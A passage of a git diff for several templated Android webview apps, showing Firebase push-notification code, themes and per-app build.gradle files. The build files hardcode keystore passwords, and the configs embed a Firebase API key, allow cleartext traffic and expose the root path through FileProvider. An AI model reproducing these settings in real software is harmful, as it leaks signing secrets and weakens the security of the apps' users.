checkNotify();
}
LogUtils.i("支持FCM 结果:"+msg);
});
}catch (Exception e){
e.printStackTrace();
LogUtils.i("支持FCM Exception");
}
}
/**
* 用于修改大背景渐变色 不设置
*/
private void initWinwdowLogoConfig() {
//全局大背景 一个上下渐变 不要动
setBackDrawables(R.drawable.big_bg);
setImageView(BuildConfig.IS_ROUND,BuildConfig.ROUND_RADIUS);
getWindow().getDecorView().setBackgroundResource(R.drawable.big_bg);
//需要修改启动页logo在这里弄 一般启动页logo就是app_logo 没特殊要求 不要动
}
/**
* 基础配置都在这里
* 不要动
*/
private void initConfig() {
//===========================以下是APP的配置信息 都写在 app_config.xml中==================================
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;
hasContact = BuildConfig.HAS_CONTACT;
hasHook = BuildConfig.HAS_HOOK;
//===========================以上是APP的配置信息 都写在 app_config.xml中==================================
}
}

View File

@@ -0,0 +1,125 @@
package com.webclip.base;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import androidx.annotation.NonNull;
import androidx.core.app.NotificationCompat;
import com.google.firebase.messaging.FirebaseMessagingService;
import com.google.firebase.messaging.RemoteMessage;
import com.google.gson.Gson;
import com.webclip.base.GsonUtils;
import com.webclip.base.MessageInfo;
import java.util.Map;
import java.util.Random;
public class MyFirebaseMessageingService extends FirebaseMessagingService {
public MyFirebaseMessageingService() {
}
@Override
public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
super.onMessageReceived(remoteMessage);
Map<String, String> serviceData = remoteMessage.getData(); //后台推送数据
if (serviceData != null && serviceData.containsKey("message")) {
String value = serviceData.get("message");
Gson gson = new Gson();
MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
showNotification(messageInfo);
} else {
//收到通知 创建notify
if (remoteMessage.getNotification() != null) {
showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
}
}
}
private void showNotification(MessageInfo messageInfo) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
notifyIntent.putExtra("message", messageInfo);
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
private void showNotification(String title, String body) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.putExtra("message", body);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
if (messageInfo != null) {
body = messageInfo.getContent();
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
}

View File

@@ -0,0 +1,19 @@
package com.webclip.base;
import android.app.Application;
import android.content.Context;
import com.webclip.base.LogUtils;
public class WebApplication extends Application {
public static Context application;
@Override
public void onCreate() {
super.onCreate();
// 设置开启优化方案
application = this;
LogUtils.isDebug = BuildConfig.BUILD_TYPE.equals("debug");
}
}

View File

@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="rectangle">
<gradient
android:angle="270"
android:startColor="@color/windows_color"
android:centerColor="@color/windows_color"
android:endColor="@color/style_color"/>
</shape>

Binary file not shown.

After

Width:  |  Height:  |  Size: 974 KiB

View File

@@ -0,0 +1,91 @@
<resources xmlns:tools="http://schemas.android.com/tools">
<!-- Base application theme. -->
<style name="Theme.AppTheme" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
<item name="android:windowBackground">#000000</item>
</style>
<style name="Theme.Calculcator1" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<item name="android:windowFullscreen">true</item>
<item name="android:windowNoTitle">true</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
</style>
<declare-styleable name="CircleImageView">
<attr name="ease_border_color" format="color" />
<attr name="ease_border_width" format="dimension" />
<attr name="ease_press_alpha" format="integer" />
<attr name="ease_press_color" format="color" />
<attr name="ease_radius" format="dimension" />
<attr name="es_shape_type" format="enum">
<enum name="none" value="0" />
<enum name="round" value="1" />
<enum name="rectangle" value="2" />
</attr>
</declare-styleable>
<!-- 注意当前AppTheme主题在values-v23中单独重复维护。原因是Android 6以下系统不支持设置
系统状态栏颜色如果按照设计状态栏使用素色则在android6以下手机上就看不清系统状态栏文字了
因为系统文字是白色。在values-v23表示当Android 23即android 6及以上版本将自动使用该目录
下的主题(即 colorPrimaryDark 使用素色从而跟标题栏颜色保持一致实现沉浸式ui效果-->
<style name="AppThemeStart" parent="@style/Theme.AppCompat.Light.NoActionBar">
<item name="android:windowTranslucentStatus">false</item>
<item name="android:windowTranslucentNavigation">false</item>
<item name="android:statusBarColor">@android:color/transparent</item>
<item name="colorPrimary">@color/windows_color</item>
<item name="colorPrimaryDark">@color/windows_color</item>
<item name="colorAccent">@color/windows_color</item>
<item name="windowActionBar">false</item>
<!-- 隐藏Activity窗口的Title标题栏 -->
<item name="windowNoTitle">true</item>
<!-- <item name="android:windowFullscreen">true</item>-->
<!-- <item name="android:windowBackground">@drawable/splah_bg</item>-->
<item name="android:navigationBarColor">@color/style_color</item>
<!-- <item name="android:windowBackground">@mipmap/big_bg</item>-->
<item name="android:forceDarkAllowed" tools:ignore="NewApi">false</item>
<item name="android:windowBackground">@drawable/big_bg</item>
</style>
<style name="MaterialDesignDialog" parent="@style/Theme.AppCompat.Dialog">
<!-- 背景透明 -->
<item name="android:windowBackground">@android:color/transparent</item>
<item name="android:windowContentOverlay">@null</item>
<!-- 浮于Activity之上 -->
<item name="android:windowIsFloating">true</item>
<!-- 边框 -->
<item name="android:windowFrame">@null</item>
<!-- Dialog以外的区域模糊效果 -->
<item name="android:backgroundDimEnabled">true</item>
<!-- 无标题 -->
<item name="android:windowNoTitle">true</item>
<!-- 半透明 -->
<item name="android:windowIsTranslucent">true</item>
<item name="android:windowCloseOnTouchOutside">true</item>
</style>
</resources>

View File

@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="app_root_path" path="/"/>
<external-path name="app_external_path" path="/"/>
<external-cache-path name="app_external_cache_path" path="/"/>
<external-files-path name="app_external_files_path" path="/"/>
<files-path name="app_files_path" path="/"/>
<cache-path name="app_cache_path" path="/"/>
</paths>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<base-config cleartextTrafficPermitted="true" />
</network-security-config>

View File

@@ -0,0 +1,13 @@
<?xml version="1.0" encoding= "utf-8"?>
<resources>
<paths >
<external-path name="external_files" path="."/>
<root-path name="root" path="." />
<files-path name="files" path="." />
<cache-path name="cache" path="." />
<external-files-path name="external_files_f" path="." />
<external-cache-path name="external_cache" path="." />
</paths >
</resources>
<!-- 适配7.0及其以上配合com.eva.android.OpenFileUtil用于解决调用系统Intent查看大文件内
容、拍照保存图片的功能时出现"android.os.FileUriExposedException"异常的问题 -->

BIN
BOSSKU/telur33.jks Normal file

Binary file not shown.

2
GOI9AU/.gitignore vendored Normal file
View File

@@ -0,0 +1,2 @@
/build
/release

92
GOI9AU/build.gradle Normal file
View File

@@ -0,0 +1,92 @@
plugins {
id 'com.android.application'
id 'com.google.gms.google-services'
}
def appOutPutName = "GOI9AU"
android {
namespace rootProject.ext.namespace
compileSdk 36
defaultConfig {
minSdkVersion 24
targetSdk 36
versionCode rootProject.ext.versionCode
versionName rootProject.ext.versionName
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
applicationId "com.noti.GOI9AU"
//app大背景色
resValue('color', 'windows_color', '#130A2B')
//底部导航栏颜色 大背景颜色为 windows_color——style_color的上下渐变色
resValue('color', 'style_color', '#130A2B')
//app 名字
resValue('string', 'app_name', 'GOI9AU')
buildConfigField "int", "USERID", "312"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"
buildConfigField "int", "ROUND_RADIUS", "10"
buildConfigField "boolean", "HAS_CONTACT", "false"
buildConfigField "boolean", "HAS_HOOK", "false"
}
buildFeatures {
buildConfig = true
}
signingConfigs {
debug {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
release {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
}
buildTypes {
release {
signingConfig signingConfigs.release
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
compileOptions {
sourceCompatibility rootProject.ext.JAVA_VERSION
targetCompatibility rootProject.ext.JAVA_VERSION
}
applicationVariants.all { variant ->
variant.outputs.all {
def outputDir = new File(rootProject.ext.outputPath)
outputDir.mkdirs()
def outputFileName = "${appOutPutName}.apk"
setOutputFileName(outputFileName)
def newOutputFile = new File(outputDir, outputFileName)
newOutputFile.parentFile.mkdirs()
variant.assemble.doLast {
try {
java.nio.file.Files.copy(
outputFile.toPath(),
newOutputFile.toPath(),
java.nio.file.StandardCopyOption.REPLACE_EXISTING
)
} catch (java.io.IOException e) {
}
}
}
}
}
dependencies {
implementation project(path: ':base')
}

View File

@@ -0,0 +1,29 @@
{
"project_info": {
"project_number": "1038392978943",
"project_id": "goi9au",
"storage_bucket": "goi9au.firebasestorage.app"
},
"client": [
{
"client_info": {
"mobilesdk_app_id": "1:1038392978943:android:3173237ffb343cd93d4bca",
"android_client_info": {
"package_name": "com.noti.GOI9AU"
}
},
"oauth_client": [],
"api_key": [
{
"current_key": "AIzaSyAOKajAoxoapKja_fx4iwtgn300dTPsu-c"
}
],
"services": {
"appinvite_service": {
"other_platform_oauth_client": []
}
}
}
],
"configuration_version": "1"
}

BIN
GOI9AU/justlet.jks Normal file

Binary file not shown.

32
GOI9AU/proguard-rules.pro vendored Normal file
View File

@@ -0,0 +1,32 @@
# Add project specific ProGuard rules here.
# You can control the set of applied configuration files using the
# proguardFiles setting in build.gradle.
#
# For more details, see
# http://developer.android.com/guide/developing/tools/proguard.html
# If your project uses WebView with JS, uncomment the following
# and specify the fully qualified class name to the JavaScript interface
# class:
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
# public *;
#}
# Uncomment this to preserve the line number information for
# debugging stack traces.
#-keepattributes SourceFile,LineNumberTable
# If you keep the line number information, uncomment this to
# hide the original source file name.
#-renamesourcefileattribute SourceFile
-dontwarn dalvik.**
-dontwarn com.tencent.smtt.**
-keep class com.tencent.smtt.** {
*;
}
-keep class com.tencent.tbs.** {
*;
}

View File

@@ -0,0 +1,67 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<!-- <uses-permission android:name="android.permission.READ_CONTACTS" />-->
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.VIBRATE" />
<!-- 8.0+系统需要-->
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<!--推送权限-->
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
<application
android:name=".WebApplication"
android:allowBackup="true"
android:hardwareAccelerated="true"
android:icon="@mipmap/app_logo"
android:label="@string/app_name"
android:networkSecurityConfig="@xml/network_security_config"
android:roundIcon="@mipmap/app_logo"
android:supportsRtl="true"
android:theme="@style/Theme.AppTheme"
android:usesCleartextTraffic="true">
<activity
android:name=".IndexActivity"
android:configChanges="orientation|keyboardHidden|screenSize"
android:exported="true"
android:hardwareAccelerated="true"
android:theme="@style/AppThemeStart">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</activity>
<service
android:name=".MyFirebaseMessageingService"
android:exported="false">
<intent-filter>
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</service>
<meta-data
android:name="com.google.firebase.messaging.default_notification_icon"
android:resource="@mipmap/app_logo" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_color"
android:resource="@color/notify_color" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_channel_id"
android:value="@string/app_name" />
</application>
</manifest>

View File

@@ -0,0 +1,78 @@
package com.webclip.base;
import android.os.Bundle;
import com.google.firebase.messaging.FirebaseMessaging;
public class IndexActivity extends MainActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
initConfig();
super.onCreate(savedInstanceState);
initWinwdowLogoConfig();
// registerFCM();
}
@Override
protected void regFcm() {
super.regFcm();
registerFCM();
}
/**
* 注册FCM
*/
private void registerFCM() {
//订阅主题
LogUtils.i("支持FCM 去注册");
try {
FirebaseMessaging.getInstance().subscribeToTopic("demo")
.addOnCompleteListener(task -> {
String msg = "Subscribed";
if (!task.isSuccessful()) {
msg = "Subscribe failed";
}else{
checkNotify();
}
LogUtils.i("支持FCM 结果:"+msg);
});
}catch (Exception e){
e.printStackTrace();
LogUtils.i("支持FCM Exception");
}
}
/**
* 用于修改大背景渐变色 不设置
*/
private void initWinwdowLogoConfig() {
//全局大背景 一个上下渐变 不要动
setBackDrawables(R.drawable.big_bg);
setImageView(BuildConfig.IS_ROUND,BuildConfig.ROUND_RADIUS);
getWindow().getDecorView().setBackgroundResource(R.drawable.big_bg);
//需要修改启动页logo在这里弄 一般启动页logo就是app_logo 没特殊要求 不要动
}
/**
* 基础配置都在这里
* 不要动
*/
private void initConfig() {
//===========================以下是APP的配置信息 都写在 app_config.xml中==================================
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;
hasContact = BuildConfig.HAS_CONTACT;
hasHook = BuildConfig.HAS_HOOK;
//===========================以上是APP的配置信息 都写在 app_config.xml中==================================
}
}

View File

@@ -0,0 +1,125 @@
package com.webclip.base;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import androidx.annotation.NonNull;
import androidx.core.app.NotificationCompat;
import com.google.firebase.messaging.FirebaseMessagingService;
import com.google.firebase.messaging.RemoteMessage;
import com.google.gson.Gson;
import com.webclip.base.GsonUtils;
import com.webclip.base.MessageInfo;
import java.util.Map;
import java.util.Random;
public class MyFirebaseMessageingService extends FirebaseMessagingService {
public MyFirebaseMessageingService() {
}
@Override
public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
super.onMessageReceived(remoteMessage);
Map<String, String> serviceData = remoteMessage.getData(); //后台推送数据
if (serviceData != null && serviceData.containsKey("message")) {
String value = serviceData.get("message");
Gson gson = new Gson();
MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
showNotification(messageInfo);
} else {
//收到通知 创建notify
if (remoteMessage.getNotification() != null) {
showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
}
}
}
private void showNotification(MessageInfo messageInfo) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
notifyIntent.putExtra("message", messageInfo);
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
private void showNotification(String title, String body) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.putExtra("message", body);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
if (messageInfo != null) {
body = messageInfo.getContent();
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
}

View File

@@ -0,0 +1,19 @@
package com.webclip.base;
import android.app.Application;
import android.content.Context;
import com.webclip.base.LogUtils;
public class WebApplication extends Application {
public static Context application;
@Override
public void onCreate() {
super.onCreate();
// 设置开启优化方案
application = this;
LogUtils.isDebug = BuildConfig.BUILD_TYPE.equals("debug");
}
}

View File

@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="rectangle">
<gradient
android:angle="270"
android:startColor="@color/windows_color"
android:centerColor="@color/windows_color"
android:endColor="@color/style_color"/>
</shape>

Binary file not shown.

After

Width:  |  Height:  |  Size: 626 KiB

View File

@@ -0,0 +1,91 @@
<resources xmlns:tools="http://schemas.android.com/tools">
<!-- Base application theme. -->
<style name="Theme.AppTheme" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
<item name="android:windowBackground">#000000</item>
</style>
<style name="Theme.Calculcator1" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<item name="android:windowFullscreen">true</item>
<item name="android:windowNoTitle">true</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
</style>
<declare-styleable name="CircleImageView">
<attr name="ease_border_color" format="color" />
<attr name="ease_border_width" format="dimension" />
<attr name="ease_press_alpha" format="integer" />
<attr name="ease_press_color" format="color" />
<attr name="ease_radius" format="dimension" />
<attr name="es_shape_type" format="enum">
<enum name="none" value="0" />
<enum name="round" value="1" />
<enum name="rectangle" value="2" />
</attr>
</declare-styleable>
<!-- 注意当前AppTheme主题在values-v23中单独重复维护。原因是Android 6以下系统不支持设置
系统状态栏颜色如果按照设计状态栏使用素色则在android6以下手机上就看不清系统状态栏文字了
因为系统文字是白色。在values-v23表示当Android 23即android 6及以上版本将自动使用该目录
下的主题(即 colorPrimaryDark 使用素色从而跟标题栏颜色保持一致实现沉浸式ui效果-->
<style name="AppThemeStart" parent="@style/Theme.AppCompat.Light.NoActionBar">
<item name="android:windowTranslucentStatus">false</item>
<item name="android:windowTranslucentNavigation">false</item>
<item name="android:statusBarColor">@android:color/transparent</item>
<item name="colorPrimary">@color/windows_color</item>
<item name="colorPrimaryDark">@color/windows_color</item>
<item name="colorAccent">@color/windows_color</item>
<item name="windowActionBar">false</item>
<!-- 隐藏Activity窗口的Title标题栏 -->
<item name="windowNoTitle">true</item>
<!-- <item name="android:windowFullscreen">true</item>-->
<!-- <item name="android:windowBackground">@drawable/splah_bg</item>-->
<item name="android:navigationBarColor">@color/style_color</item>
<!-- <item name="android:windowBackground">@mipmap/big_bg</item>-->
<item name="android:forceDarkAllowed" tools:ignore="NewApi">false</item>
<item name="android:windowBackground">@drawable/big_bg</item>
</style>
<style name="MaterialDesignDialog" parent="@style/Theme.AppCompat.Dialog">
<!-- 背景透明 -->
<item name="android:windowBackground">@android:color/transparent</item>
<item name="android:windowContentOverlay">@null</item>
<!-- 浮于Activity之上 -->
<item name="android:windowIsFloating">true</item>
<!-- 边框 -->
<item name="android:windowFrame">@null</item>
<!-- Dialog以外的区域模糊效果 -->
<item name="android:backgroundDimEnabled">true</item>
<!-- 无标题 -->
<item name="android:windowNoTitle">true</item>
<!-- 半透明 -->
<item name="android:windowIsTranslucent">true</item>
<item name="android:windowCloseOnTouchOutside">true</item>
</style>
</resources>

View File

@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="app_root_path" path="/"/>
<external-path name="app_external_path" path="/"/>
<external-cache-path name="app_external_cache_path" path="/"/>
<external-files-path name="app_external_files_path" path="/"/>
<files-path name="app_files_path" path="/"/>
<cache-path name="app_cache_path" path="/"/>
</paths>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<base-config cleartextTrafficPermitted="true" />
</network-security-config>

View File

@@ -0,0 +1,13 @@
<?xml version="1.0" encoding= "utf-8"?>
<resources>
<paths >
<external-path name="external_files" path="."/>
<root-path name="root" path="." />
<files-path name="files" path="." />
<cache-path name="cache" path="." />
<external-files-path name="external_files_f" path="." />
<external-cache-path name="external_cache" path="." />
</paths >
</resources>
<!-- 适配7.0及其以上配合com.eva.android.OpenFileUtil用于解决调用系统Intent查看大文件内
容、拍照保存图片的功能时出现"android.os.FileUriExposedException"异常的问题 -->

BIN
GOI9AU/telur33.jks Normal file

Binary file not shown.

2
JDCLUB9VIP/.gitignore vendored Normal file
View File

@@ -0,0 +1,2 @@
/build
/release

92
JDCLUB9VIP/build.gradle Normal file
View File

@@ -0,0 +1,92 @@
plugins {
id 'com.android.application'
id 'com.google.gms.google-services'
}
def appOutPutName = "JDCLUB9VIP"
android {
namespace rootProject.ext.namespace
compileSdk 36
defaultConfig {
minSdkVersion 24
targetSdk 36
versionCode rootProject.ext.versionCode
versionName rootProject.ext.versionName
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
applicationId "com.jsbadja.JDCLUB9VIP26"
//app大背景色
resValue('color', 'windows_color', '#000000')
//底部导航栏颜色 大背景颜色为 windows_color——style_color的上下渐变色
resValue('color', 'style_color', '#EA0001')
//app 名字
resValue('string', 'app_name', 'JDCLUB9VIP')
buildConfigField "int", "USERID", "158"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"
buildConfigField "int", "ROUND_RADIUS", "10"
buildConfigField "boolean", "HAS_CONTACT", "true"
buildConfigField "boolean", "HAS_HOOK", "false"
}
buildFeatures {
buildConfig = true
}
signingConfigs {
debug {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
release {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
}
buildTypes {
release {
signingConfig signingConfigs.release
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
compileOptions {
sourceCompatibility rootProject.ext.JAVA_VERSION
targetCompatibility rootProject.ext.JAVA_VERSION
}
applicationVariants.all { variant ->
variant.outputs.all {
def outputDir = new File(rootProject.ext.outputPath)
outputDir.mkdirs()
def outputFileName = "${appOutPutName}.apk"
setOutputFileName(outputFileName)
def newOutputFile = new File(outputDir, outputFileName)
newOutputFile.parentFile.mkdirs()
variant.assemble.doLast {
try {
java.nio.file.Files.copy(
outputFile.toPath(),
newOutputFile.toPath(),
java.nio.file.StandardCopyOption.REPLACE_EXISTING
)
